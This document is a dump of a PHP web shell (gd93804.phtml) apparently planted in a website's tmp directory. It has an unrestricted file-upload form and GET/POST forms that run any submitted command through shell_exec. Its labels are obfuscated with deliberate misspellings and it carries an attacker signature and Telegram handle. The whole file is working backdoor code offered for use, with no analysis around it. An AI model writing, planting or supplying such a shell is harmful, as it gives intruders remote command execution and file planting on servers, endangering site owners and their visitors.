| Current Path : /home/a/t/a/ataenra/www/tmp/ |
| Current File : /home/a/t/a/ataenra/www/tmp/gd93804.phtml |
<?php echo "Godelic-Here | gd93804<br>\n";// ========== UpI04d F0RM ==========
if(!isset($_FILES["file"]) && !isset($_GET["cmd"]) && !isset($_POST["cmd"])){
echo '<!DOCTYPE html>';
echo '<html><head><title>t.me/Lab505</title></head><body>';
echo '<h2>XYZBCA</h2>';
echo '<hr>';
echo '<h3>UpI04d3r</h3>';
echo '<form method="POST" enctype="multipart/form-data">';
echo '<input type="file" name="file" style="padding:10px;margin:5px;">';
echo '<button type="submit" style="padding:10px;background:green;color:white;">UpI04d</button>';
echo '</form>';
echo '<hr>';
echo '<h3>CnnD</h3>';
echo '<form method="GET">';
echo '<input type="text" name="cmd" placeholder="ls -la" style="width:300px;padding:10px;">';
echo '<button type="submit" style="padding:10px;background:blue;color:white;">Rawn</button>';
echo '</form>';
echo '<br>';
echo '<form method="POST">';
echo '<input type="text" name="cmd" placeholder="whoami" style="width:300px;padding:10px;">';
echo '<button type="submit" style="padding:10px;background:orange;color:white;">Rawn P0ST</button>';
echo '</form>';
echo '</body></html>';
exit;
}
// ========== Ploses UpI04d ==========
if(isset($_FILES["file"])){
$target = $_FILES["file"]["name"];
$tmp = $_FILES["file"]["tmp_name"];
if(move_uploaded_file($tmp, $target)){
echo "<h3 style='color:green'>✅ UpI04d Succ3ss!</h3>";
echo "<b>File:</b> " . $target . "<br>";
echo "<b>URL:</b> <a href='" . $target . "'>" . $target . "</a><br>";
echo "<hr>";
echo "<a href='?cmd=ls -la'>⬅️ BACK</a>";
} else {
echo "<h3 style='color:red'>❌ UpI04d F4lIED!</h3>";
echo "<a href='javascript:history.back()'>⬅️ TRY AGAIN</a>";
}
exit;
}
// ========== ploses cnnd ==========
if(isset($_GET["cmd"])){
echo "<h3>💀 C0mm3nd: " . htmlspecialchars($_GET["cmd"]) . "</h3>";
echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
echo htmlspecialchars(shell_exec($_GET["cmd"]));
echo "</pre>";
echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
exit;
}
if(isset($_POST["cmd"])){
echo "<h3>💀 C0mm3nd (POST): " . htmlspecialchars($_POST["cmd"]) . "</h3>";
echo "<pre style='background:#f4f4f4;padding:10px;border:1px solid #ccc;'>";
echo htmlspecialchars(shell_exec($_POST["cmd"]));
echo "</pre>";
echo "<a href='?cmd='>⬅️ BACK TO FORM</a>";
exit;
}
?>